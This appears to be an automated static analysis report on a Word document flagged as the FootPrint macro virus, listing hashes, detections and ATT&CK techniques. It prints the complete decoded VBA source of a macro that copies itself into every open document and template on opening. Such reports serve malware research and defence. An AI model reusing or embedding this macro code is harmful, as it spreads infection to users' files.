Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab1438ce8eff3606…

MALICIOUS

Office (OLE)

38.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 07847dd4d5ad9e967e7c76b7c23af6ce SHA-1: d8fa90c5279ac15e443bd7713b8d212da0784baa SHA-256: ab1438ce8eff36063c70433fd0b44fd97c3db8e5c4fa63f4be4a812e34592b12
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to export its own code to a temporary file and then inject it into other open documents and templates. This behavior is indicative of a macro-based malware dropper, likely intended to spread or establish persistence. The ClamAV detections further support its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1799 bytes
SHA-256: d5688418ae0f3e8bcb50be21fc77a76a577420ee3eddd4f97d0106936cf66d68
Detection
ClamAV: Doc.Trojan.FootPrint-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    If Not adoc.CustomDocumentProperties("FootPrint") Then
        adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
        adoc.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        adoc.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        atpl.VBProject.VBComponents("ThisDocument").codemodule.AddFromFile "c:\footprint.$$1"
    End If
Next
End Sub


Private Sub Document_Close()
On Error GoTo Close_error
    If ActiveDocument.Variables(strPOST_WIZ_BLN).Value = "1" Then
        If fPostWizBlnOpen Then
            objPostWizBln.Close
            fPostWizBlnOpen = False
        End If
    End If
    
Close_error:
    Err.Clear
End Sub
Private Sub Document_New()
    Common.StartWizard
End Sub

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